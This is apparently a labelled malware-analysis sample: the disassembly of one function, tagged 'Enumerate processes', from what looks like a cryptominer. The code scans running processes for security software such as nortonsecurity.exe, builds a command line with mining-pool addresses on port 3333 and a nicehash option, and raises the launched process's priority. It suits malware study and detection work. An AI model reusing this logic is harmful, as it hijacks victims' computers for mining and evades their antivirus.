Function at 0x1400048d0
Capabilities:
Enumerate processes

Disassembly:
mov rax, rsp
push rbx
sub rsp, 0x4b0
mov qword [rax + 8], rbp
xor ebp, ebp
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov edi, edx
mov qword [rax + 0x20], r12
mov qword [rax - 0x18], r15
lea r15, [0x140035890]
mov rax, 0xffffffffffffffff
mov word [0x1400358e0], bp
mov word [0x140035890], bp
nop
inc rax
cmp word [r15 + rax*2], bp
jne 0x140004910
mov qword [rsp + 0x4a8], r14
lea r12, [0x140000000]
test rax, rax
jne 0x140004992
xor ecx, ecx
call fcn.140008c2c
mov rcx, rax
call fcn.140008c98
mov rbx, r15
lea r14, [0x1400358b0]
movabs rsi, 0x642c8590b21642c9
call fcn.140008c6c
movsxd rcx, eax
mov rax, rsi
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 6
imul rax, rax, 0x5c
sub rcx, rax
movzx eax, word [r12 + rcx*2 + 0x1a330]
mov word [rbx], ax
add rbx, 2
cmp rbx, r14
jl 0x140004951
mov word [0x1400358b0], bp
mov r8d, edi
lea rdx, str._t__u
lea rcx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_wsprintfW]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140004abe
lea rdx, [rsp + 0x260]
mov dword [rsp + 0x260], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140004ab5
lea r14, str.nortonsecurity.exe
nop word [rax + rax]
xor edx, edx
lea rcx, [rsp + 0x60]
mov r8d, 0x1fe
call fcn.140007ee0
lea rcx, [rsp + 0x60]
sub rcx, 2
nop dword [rax + rax]
cmp word [rcx + 2], bp
lea rcx, [rcx + 2]
jne 0x140004a10
lea r8, [rsp + 0x28c]
xor edx, edx
nop dword [rax]
nop dword [rax + rax]
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
lea rdx, [rdx + 1]
test ax, ax
jne 0x140004a30
lea rcx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_CharLowerW]
mov ebx, ebp
mov rdi, r14
mov rdx, qword [rdi]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp word [rdx + rax*2], bp
jne 0x140004a60
test rax, rax
je 0x140004a9c
mov r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], bp
jne 0x140004a75
lea rcx, [rsp + 0x60]
call fcn.140008ad8
test eax, eax
je 0x140004b65
inc ebx
add rdi, 8
cmp ebx, 0x10
jl 0x140004a52
lea rdx, [rsp + 0x260]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400049f0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r14, qword [rsp + 0x4a8]
lea r8, [0x1400358e0]
lea rax, [r8 - 2]
cmp word [rax + 2], 0
lea rax, [rax + 2]
jne 0x140004ad1
mov ecx, dword [0x14001a2dc]
mov dword [rax], ecx
lea rax, [r8 - 2]
nop dword [rax + rax]
cmp word [rax + 2], 0
lea rax, [rax + 2]
jne 0x140004af0
mov r11d, dword [0x14001a2e0]
movzx ebx, word [0x14001a2e4]
mov dword [rax], r11d
mov word [rax + 4], bx
lea rax, [r8 - 2]
cmp word [rax + 2], 0
lea rax, [rax + 2]
jne 0x140004b14
mov dword [rax], ecx
lea rdx, [r8 - 2]
test ebp, ebp
je 0x140004b80
nop dword [rax]
cmp word [rdx + 2], 0
lea rdx, [rdx + 2]
jne 0x140004b30
mov r10, qword [str.54.39.10.51.3333]
xor r9d, r9d
nop word [rax + rax]
movzx eax, word [r10 + r9*2]
mov word [rdx + r9*2], ax
lea r9, [r9 + 1]
test ax, ax
jne 0x140004b50
jmp 0x140004bb3
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebp, 1
jmp 0x140004abe
cmp word [rdx + 2], 0
lea rdx, [rdx + 2]
jne 0x140004b80
mov r10, qword [str.54.39.10.51.3333]
xor r9d, r9d
nop word [rax + rax]
movzx eax, word [r10 + r9*2]
mov word [rdx + r9*2], ax
lea r9, [r9 + 1]
test ax, ax
jne 0x140004ba0
lea rax, [r8 - 2]
nop word [rax + rax]
cmp word [rax + 2], 0
lea rax, [rax + 2]
jne 0x140004bc0
movsd xmm3, qword [str.__u]
lea rdx, [r8 - 2]
movzx edi, word [0x14001a2f0]
movsd qword [rax], xmm3
mov word [rax + 8], di
nop word [rax + rax]
cmp word [rdx + 2], 0
lea rdx, [rdx + 2]
jne 0x140004bf0
movups xmm0, xmmword [r12 + 0x1a1e0]
lea rax, [r12 + 0x1a1e0]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rdx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x70]
movups xmmword [rdx + 0x70], xmm0
movups xmm1, xmmword [rax + 0x80]
movups xmmword [rdx + 0x80], xmm1
movups xmm0, xmmword [rax + 0x90]
movups xmmword [rdx + 0x90], xmm0
movups xmm1, xmmword [rax + 0xa0]
movups xmmword [rdx + 0xa0], xmm1
movups xmm0, xmmword [rax + 0xb0]
lea rax, [r8 - 2]
movups xmmword [rdx + 0xb0], xmm0
cmp word [rax + 2], 0
lea rax, [rax + 2]
jne 0x140004c83
movsd xmm4, qword [str.__p]
lea rdx, [r8 - 2]
movzx esi, word [0x14001a300]
movsd qword [rax], xmm4
mov word [rax + 8], si
nop dword [rax]
cmp word [rdx + 2], 0
lea rdx, [rdx + 2]
jne 0x140004cb0
xor r9d, r9d
nop
movzx eax, word [r15 + r9*2]
mov word [rdx + r9*2], ax
lea r9, [r9 + 1]
test ax, ax
jne 0x140004cc0
lea rdx, [r8 - 2]
nop word [rax + rax]
cmp word [rdx + 2], 0
lea rdx, [rdx + 2]
jne 0x140004ce0
mov eax, dword [0x14001a304]
mov dword [rdx], eax
lea rdx, [r8 - 2]
nop word [rax + rax]
cmp word [rdx + 2], 0
lea rdx, [rdx + 2]
jne 0x140004d00
movups xmm2, xmmword [str.qhvslsw]
movups xmmword [rdx], xmm2
lea rdx, [r8 - 2]
nop dword [rax]
cmp word [rdx + 2], 0
lea rdx, [rdx + 2]
jne 0x140004d20
mov dword [rdx], ecx
lea rdx, [r8 - 2]
cmp word [rdx + 2], 0
lea rdx, [rdx + 2]
jne 0x140004d31
mov dword [rdx], r11d
mov word [rdx + 4], bx
lea rdx, [r8 - 2]
nop word [rax + rax]
cmp word [rdx + 2], 0
lea rdx, [rdx + 2]
jne 0x140004d50
mov dword [rdx], ecx
lea r9, [r8 - 2]
test ebp, ebp
je 0x140004db0
nop word [rax + rax]
cmp word [r9 + 2], 0
lea r9, [r9 + 2]
jne 0x140004d70
mov r11, qword [str.54.39.10.49.3333]
xor r10d, r10d
nop word [rax + rax]
movzx edx, word [r11 + r10*2]
mov word [r9 + r10*2], dx
lea r10, [r10 + 1]
test dx, dx
jne 0x140004d90
jmp 0x140004de3
cmp word [r9 + 2], 0
lea r9, [r9 + 2]
jne 0x140004db0
mov r11, qword [str.54.39.10.49.3333]
xor r10d, r10d
nop word [rax + rax]
movzx edx, word [r11 + r10*2]
mov word [r9 + r10*2], dx
lea r10, [r10 + 1]
test dx, dx
jne 0x140004dd0
lea rdx, [r8 - 2]
nop word [rax + rax]
cmp word [rdx + 2], 0
lea rdx, [rdx + 2]
jne 0x140004df0
movsd qword [rdx], xmm3
lea r9, [r8 - 2]
mov word [rdx + 8], di
mov rdi, qword [rsp + 0x4d0]
nop
cmp word [r9 + 2], 0
lea r9, [r9 + 2]
jne 0x140004e10
movups xmm0, xmmword [r12 + 0x1a1e0]
lea rdx, [r12 + 0x1a1e0]
mov r12, qword [rsp + 0x4d8]
movups xmmword [r9], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [r9 + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [r9 + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [r9 + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [r9 + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [r9 + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [r9 + 0x60], xmm0
movups xmm1, xmmword [rdx + 0x70]
movups xmmword [r9 + 0x70], xmm1
movups xmm0, xmmword [rdx + 0x80]
movups xmmword [r9 + 0x80], xmm0
movups xmm1, xmmword [rdx + 0x90]
movups xmmword [r9 + 0x90], xmm1
movups xmm0, xmmword [rdx + 0xa0]
movups xmmword [r9 + 0xa0], xmm0
movups xmm1, xmmword [rdx + 0xb0]
lea rdx, [r8 - 2]
movups xmmword [r9 + 0xb0], xmm1
nop dword [rax + rax]
cmp word [rdx + 2], 0
lea rdx, [rdx + 2]
jne 0x140004ec0
movsd qword [rdx], xmm4
lea r9, [r8 - 2]
mov word [rdx + 8], si
mov rsi, qword [rsp + 0x4c8]
nop
cmp word [r9 + 2], 0
lea r9, [r9 + 2]
jne 0x140004ee0
xor r10d, r10d
nop
movzx edx, word [r15 + r10*2]
mov word [r9 + r10*2], dx
lea r10, [r10 + 1]
test dx, dx
jne 0x140004ef0
mov r15, qword [rsp + 0x4a0]
lea rdx, [r8 - 2]
nop
cmp word [rdx + 2], 0
lea rdx, [rdx + 2]
jne 0x140004f10
mov dword [rdx], eax
lea rax, [r8 - 2]
cmp word [rax + 2], 0
lea rax, [rax + 2]
jne 0x140004f21
movups xmmword [rax], xmm2
lea rax, [r8 - 2]
cmp word [rax + 2], 0
lea rax, [rax + 2]
jne 0x140004f33
mov dword [rax], ecx
lea rdx, [r8 - 2]
cmp word [rdx + 2], 0
lea rdx, [rdx + 2]
jne 0x140004f44
lea r10, [rsp + 0x20]
xor r9d, r9d
nop word [rax + rax]
movzx eax, word [r10 + r9*2]
mov word [rdx + r9*2], ax
lea r9, [r9 + 1]
test ax, ax
jne 0x140004f60
lea rax, [r8 - 2]
nop word [rax + rax]
cmp word [rax + 2], 0
lea rax, [rax + 2]
jne 0x140004f80
mov dword [rax], ecx
lea rdx, [r8 - 2]
cmp word [rdx + 2], 0
lea rdx, [rdx + 2]
jne 0x140004f91
mov eax, dword [0x14001a2b0]
test ebp, ebp
mov rbp, qword [rsp + 0x4c0]
mov dword [rdx], eax
movzx eax, word [0x14001a2b4]
mov word [rdx + 4], ax
je 0x140004ffe
lea rax, [r8 - 2]
nop
cmp word [rax + 2], 0
lea rax, [rax + 2]
jne 0x140004fc0
mov dword [rax], ecx
sub r8, 2
cmp word [r8 + 2], 0
lea r8, [r8 + 2]
jne 0x140004fd1
mov eax, dword [0x14001a2c8]
movups xmm0, xmmword [str.__nicehash]
movups xmmword [r8], xmm0
mov dword [r8 + 0x10], eax
movzx eax, word [0x14001a2cc]
mov word [r8 + 0x14], ax
lea rcx, [0x1400358b8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call fcn.140005070
lea rcx, [0x1400358b8]
mov dword [0x1400476ec], eax
mov dword [0x140045afc], eax
mov dword [0x140045af8], eax
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov r8d, dword [0x1400476ec]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140005062
mov edx, 0x40
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x4b0
pop rbx
ret